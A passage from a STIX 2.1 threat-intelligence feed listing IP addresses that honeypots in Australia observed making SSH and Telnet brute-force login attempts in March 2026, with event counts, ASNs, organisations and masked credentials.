        "bruteforce"
      ],
      "modified": "2026-03-04T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T13:15:15.000Z",
      "valid_until": "2026-04-05T13:15:12.000Z"
    },
    {
      "created": "2026-03-04T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**2, 1*******/, A******6.",
      "id": "indicator--1088585e-341d-4800-aa08-af5368cae4fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.40.73.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T13:15:15.000Z",
      "valid_until": "2026-04-05T13:15:12.000Z"
    },
    {
      "created": "2026-03-04T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 198. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VE. ASN(s): 8048. Organisation(s): CANTV Servicios, Venezuela. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3**********4, 1**9, 3***********4, A********!, A*****3.",
      "id": "indicator--88dd5c31-a5b1-4ebb-9faf-d5304f7d0e35",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '201.249.87.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T13:15:15.000Z",
      "valid_until": "2026-04-05T13:15:12.000Z"
    },
    {
      "created": "2026-03-04T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1********d, 1******4, 3***********4, 3**********4, A*********@.",
      "id": "indicator--a85c8f0b-2dba-4d6c-8eb6-d795aac28cc2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.46.120.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T13:15:15.000Z",
      "valid_until": "2026-04-05T13:15:12.000Z"
    },
    {
      "created": "2026-03-04T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4185. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, d****y, u****u, u**r, f*****r. Passwords observed (masked): 1****6, ***, p******d, P******d, 1******8.",
      "id": "indicator--61d3296a-2873-48e7-91b5-772f92a7b670",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.97.134.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T13:15:15.000Z",
      "valid_until": "2026-04-05T13:15:12.000Z"
    },
    {
      "created": "2026-03-04T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 58. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, 1****6, 1******8, 1*******9, a***n.",
      "id": "indicator--288db556-feff-455b-aa19-e0021f419798",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.97.134.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T13:15:15.000Z",
      "valid_until": "2026-04-05T13:15:12.000Z"
    },
    {
      "created": "2026-03-04T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**2, 1*******/, A******6.",
      "id": "indicator--ccafb263-e259-4e48-a433-0b0b489150af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '211.213.96.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T13:15:15.000Z",
      "valid_until": "2026-04-05T13:15:12.000Z"
    },
    {
      "created": "2026-03-04T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 276. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 9304. Organisation(s): HGC Global Communications Limited. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 0**6, 1******., 1**************$.",
      "id": "indicator--141346b3-f880-45b8-b953-e8ae98248db1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.17.5.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T13:15:15.000Z",
      "valid_until": "2026-04-05T13:15:12.000Z"
    },
    {
      "created": "2026-03-04T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 346. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 0**6, 1******., 1**************$.",
      "id": "indicator--bc78c83d-17b7-4353-9483-7d09679a3c5b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.93.249.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T13:15:15.000Z",
      "valid_until": "2026-04-05T13:15:12.000Z"
    },
    {
      "created": "2026-03-04T13:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--a9ab724c-f5d9-4c86-9c87-c6c070c11000",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '42.230.47.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T13:15:15.000Z",
      "valid_until": "2026-04-05T13:15:12.000Z"
    },
    {
      "created": "2026-03-04T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 276. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 41745. Organisation(s): Baykov Ilya Sergeevich. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1********d, 1******4, A*********@.",
      "id": "indicator--6e2ee0ca-3163-488e-8d81-e7c4f38d1168",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.144.233.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T13:15:15.000Z",
      "valid_until": "2026-04-05T13:15:12.000Z"
    },
    {
      "created": "2026-03-04T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Heralding. Target ports: 5900. Source country: SC. ASN(s): 395839. Organisation(s): HOSTKEY. Passwords observed (masked): p******d, 1******8, 1****1, 1****3, 1****6.",
      "id": "indicator--9069e4a2-aebe-43b8-8989-ae5027f9a855",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.202.102.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T13:15:15.000Z",
      "valid_until": "2026-04-05T13:15:12.000Z"
    },
    {
      "created": "2026-03-04T13:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--59b1b38a-4e22-4b13-ae51-097a85b2ae7b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.97.245.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T13:15:15.000Z",
      "valid_until": "2026-04-05T13:15:12.000Z"
    },
    {
      "created": "2026-03-04T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 276. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 577. Organisation(s): Bell Canada. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 0**6, 1******., 1**************$.",
      "id": "indicator--5592f7fc-a66a-4a3c-94b2-d6e2c869a2e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '69.156.92.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T13:15:15.000Z",
      "valid_until": "2026-04-05T13:15:12.000Z"
    },
    {
      "created": "2026-03-04T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 182. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 8402. Organisation(s): PVimpelCom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3**********4, 1******., 1**************$, 3***********4, @*******6.",
      "id": "indicator--a1a0a7cf-290d-4bee-b83a-285a2507902a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '95.24.25.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T13:15:15.000Z",
      "valid_until": "2026-04-05T13:15:12.000Z"
    },
    {
      "created": "2026-03-04T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 40065. Organisation(s): CNSERVERS LLC. Usernames observed (masked): r**t. Passwords observed (masked): Q********!.",
      "id": "indicator--df8faed3-3f00-4fd7-8dd0-f4de71d1b800",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.20.223.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T14:15:13.000Z",
      "valid_until": "2026-04-05T14:15:11.000Z"
    },
    {
      "created": "2026-03-04T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--58e63365-310c-4f93-a191-467fe6604576",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '137.184.126.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T14:15:13.000Z",
      "valid_until": "2026-04-05T14:15:11.000Z"
    },
    {
      "created": "2026-03-04T14:15:13.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 22, 23. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G************1, U*******************************x. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--506fda16-4386-444b-87a1-32533aee0f29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.203.30.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T14:15:13.000Z",
      "valid_until": "2026-04-05T14:15:11.000Z"
    },
    {
      "created": "2026-03-04T14:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--39957834-64a5-435e-b1c9-a85ef10d7ec4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T14:15:13.000Z",
      "valid_until": "2026-04-05T14:15:11.000Z"
    },
    {
      "created": "2026-03-04T14:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--290300b4-3fba-42ec-8720-7a2a983277b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T14:15:13.000Z",
      "valid_until": "2026-04-05T14:15:11.000Z"
    },
    {
      "created": "2026-03-04T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t. Passwords observed (masked): A******4, c**********3.",
      "id": "indicator--785657f8-997e-46e9-8abc-59e486f48e87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '168.138.42.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T14:15:13.000Z",
      "valid_until": "2026-04-05T14:15:11.000Z"
    },
    {
      "created": "2026-03-04T14:15:13.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 5650. Organisation(s): Frontier Communications of America, Inc..",
      "id": "indicator--13c7dbe2-ddab-4eb0-8058-3f7d9651aa8f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.99.61.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T14:15:13.000Z",
      "valid_until": "2026-04-05T14:15:11.000Z"
    },
    {
      "created": "2026-03-04T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 60729. Organisation(s): Stiftung Erneuerbare Freiheit. Usernames observed (masked): c****s. Passwords observed (masked): Z*************6.",
      "id": "indicator--302c64ec-2c55-4aa8-b3fb-621a6fdfe7d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T14:15:13.000Z",
      "valid_until": "2026-04-05T14:15:11.000Z"
    },
    {
      "created": "2026-03-04T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 41. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 22884. Organisation(s): TOTAL PLAY TELECOMUNICACIONES SA DE CV. Usernames observed (masked): r**t. Passwords observed (masked): Q******4, ***, i****l, r*******e, t********#.",
      "id": "indicator--71590b08-96b4-41d8-bb66-50fa6e513b6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '186.96.151.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T14:15:13.000Z",
      "valid_until": "2026-04-05T14:15:11.000Z"
    },
    {
      "created": "2026-03-04T14:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--76e66f53-3e3b-422b-9a46-bbeb501bd478",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.153.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T14:15:13.000Z",
      "valid_until": "2026-04-05T14:15:11.000Z"
    },
    {
      "created": "2026-03-04T14:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--a8db5af1-37c9-4605-a969-77053fbee82e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.153.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T14:15:13.000Z",
      "valid_until": "2026-04-05T14:15:11.000Z"
    },
    {
      "created": "2026-03-04T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 45528. Organisation(s): Tikona Infinet Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******k, 1******D, @*******r.",
      "id": "indicator--938db770-22fa-40dd-aef9-70c1752ccaac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '113.193.234.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T15:15:14.000Z",
      "valid_until": "2026-04-05T15:15:12.000Z"
    },
    {
      "created": "2026-03-04T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DK. ASN(s): 57860. Organisation(s): Zencurity ApS. Usernames observed (masked): ***. Passwords observed (masked): I***********************5.",
      "id": "indicator--570bf82c-48a3-4b14-a9aa-52b2f125725a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.129.62.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T15:15:14.000Z",
      "valid_until": "2026-04-05T15:15:12.000Z"
    },
    {
      "created": "2026-03-04T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 60729. Organisation(s): Stiftung Erneuerbare Freiheit. Usernames observed (masked): c**n. Passwords observed (masked): 1**4.",
      "id": "indicator--5d1cadf9-e6b1-4d04-b0d1-f989ac6f27f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T15:15:14.000Z",
      "valid_until": "2026-04-05T15:15:12.000Z"
    },
    {
      "created": "2026-03-04T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: SE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--926a9d9d-a51d-444d-b1b0-4297a1b80c93",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.109.200.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T15:15:14.000Z",
      "valid_until": "2026-04-05T15:15:12.000Z"
    },
    {
      "created": "2026-03-04T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BG. ASN(s): 8866. Organisation(s): Vivacom Bulgaria EAD.",
      "id": "indicator--26f4cea6-d9d9-4ecd-890f-6df3fbd61ffb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.91.178.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T15:15:14.000Z",
      "valid_until": "2026-04-05T15:15:12.000Z"
    },
    {
      "created": "2026-03-04T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--f325fb6d-fcf4-4815-9edc-3d9780d6b996",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.123.43.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T15:15:14.000Z",
      "valid_until": "2026-04-05T15:15:12.000Z"
    },
    {
      "created": "2026-03-04T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 62468. Organisation(s): VpsQuan L.L.C.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, B********3, B***********3, C******6.",
      "id": "indicator--bf7f63ec-cf65-4457-96b8-21c1ae87ab18",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.204.209.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T15:15:14.000Z",
      "valid_until": "2026-04-05T15:15:12.000Z"
    },
    {
      "created": "2026-03-04T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--cc0dbb50-ef32-4329-b203-e9ccd4556734",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.79.127.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T15:15:14.000Z",
      "valid_until": "2026-04-05T15:15:12.000Z"
    },
    {
      "created": "2026-03-04T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******, 1*******@, 2******3, 3***********4, 3**********4.",
      "id": "indicator--6a21f4c3-07af-485b-ae21-3d28c0cba9e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T15:15:14.000Z",
